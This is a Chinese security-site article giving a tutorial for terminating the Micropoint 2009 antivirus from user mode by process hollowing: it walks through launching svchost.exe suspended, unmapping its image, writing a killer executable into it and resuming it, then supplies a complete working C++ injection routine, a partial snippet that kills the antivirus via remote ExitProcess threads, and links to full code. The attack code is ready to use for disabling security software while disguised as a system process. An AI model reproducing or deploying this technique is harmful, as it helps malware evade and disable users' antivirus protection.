关于冰盾 | 使用条款 | 网站地图
 
Ring3下WX方法结束微点2009
Ring3下WX方法结束微点2009
作者:冰盾防火墙 网站:www.bingdun.com 日期:2014-11-16
 

微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。

操作步骤如下:

1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ).

2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point)

3.从PEB中获取该进程的 base_address, [ebx+8]的值

lkd> dt _peb ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void            //映像基址 ... ...  

4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作.

5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可.

6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数)

7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置.

8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8]

9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址

10.调用SetThreadContext函数修正

11.调用ResumeThread函数恢复svhost.exe运行.

实现代码可以参考 http://bbs.pediy.com/showthread.php?t=41873

这里提供一份更简短的代码,便于看清操作过程

BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe) { HANDLE hFile; DWORD dwFileSize;    //文件大小 IMAGE_DOS_HEADER DosHeader; IMAGE_NT_HEADERS NtHeader; PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT context; PVOID ImageBase; unsigned long ImageSize; unsigned long BaseAddr; unsigned long retByte = 0; LONG offset; HMODULE hNtDll=GetModuleHandle("ntdll.dll"); if(!hNtDll) return FALSE; ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll, "ZwUnmapViewOfSection"); memset(&si, 0, sizeof(si));    memset(&pi, 0, sizeof(pi));  si.cb = sizeof(si);  hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ| FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL); if (hFile == INVALID_HANDLE_VALUE) { return FALSE; } ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN); dwFileSize = ::GetFileSize(hFile, NULL); LPBYTE pBuf = new BYTE[dwFileSize]; memset(pBuf, 0, dwFileSize); DWORD dwNumberOfBytesRead = 0;        ::ReadFile( hFile            , pBuf            , dwFileSize            , &dwNumberOfBytesRead            , NULL            );     ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER)); ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS)); //检查PE结构 //以挂起方式进程 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL, NULL,&si,&pi);   if (res) { context.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pi.hThread,&context)) //如果调用失败 {    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return FALSE; } ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof (unsigned long),NULL); if (!BaseAddr) {    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return FALSE; } //拆卸傀儡进程内存模块 if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr)) {    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return FALSE; } ImageBase = VirtualAllocEx(pi.hProcess,     (void *)NtHeader.OptionalHeader.ImageBase,    NtHeader.OptionalHeader.SizeOfImage,     MEM_RESERVE|MEM_COMMIT,     PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000 if (ImageBase == NULL) {    DWORD wrongFlag = GetLastError();    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return FALSE; }  //替换傀儡进程内存数据 if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader. SizeOfHeaders, &retByte)) {    DWORD wrongFlag2 = GetLastError();  } //DOS 头 + PE 头 + 区块表的总大小 //定位到区块头 offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS); IMAGE_SECTION_HEADER secHeader; WORD i = 0; for (;i < NtHeader.FileHeader.NumberOfSections;i++) {    //定位到各个区块    ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)], sizeof(IMAGE_SECTION_HEADER));    WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader. VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);    VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader. VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr); }  context.ContextFlags = CONTEXT_FULL; //重置 执行文件入口 WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),     &ImageBase,   //4194304    4, &retByte); context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread,&context); ResumeThread(pi.hThread); }  CloseHandle(pi.hThread); CloseHandle(pi.hProcess); ::CloseHandle(hFile);  delete[] pBuf; return TRUE; }

用以上方法启动 TerminateMP.exe之后,系统中没有TerminateMP.exe进程,只有被替换了的svhost.exe

在svhost.exe进程中可以轻松地用 OpenProcess打开微点的进程,但是要结束微点的进程还是很麻烦的(Ring3下)。某90后用创建远程错误线程的方法达到了目的(这么挫的方法都想得出来)。

EnableDebugPriv(_T("SeDebugPrivilege")); HMODULE hModule = GetModuleHandle("kernel32.dll"); unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess"); for (int i=0;i

完整代码: 进程注入InjectProcess.rar 结束微点TerminateMP.rar

【编辑推荐】

  1. 08年防病毒产品检验结果:微软、微点、360在列
  2. 瑞星就“微点事件”再次发表声明
  3. 病毒的模仿秀后门程序伪装可爱小企鹅
 

 
最新内容:
见招拆招 教你防范新型僵尸网络攻击[2014-11-16]
Wedge Networks发布NDP-1038 Web安全设备[2014-11-16]
黑客如何攻击网站及具体实例[2014-11-16]
减轻DDoS攻击 保卫网络安全[2014-11-15]
小型DDoS更普遍 更危险[2014-11-15]
在DDoS攻击下保护DNS[2014-11-15]
相关内容:

合作伙伴: 黑基网 补天科技 威盾科技 站长下载 新飞金信 北京电信 ZOL应用下载
中华人民共和国增值电信业务经营许可证京ICP备14024464 公安备案号 京1081234 
版权所有©2003-2016 冰盾防火墙  www.BingDun.com 法律声明
服务热线:(010)51661195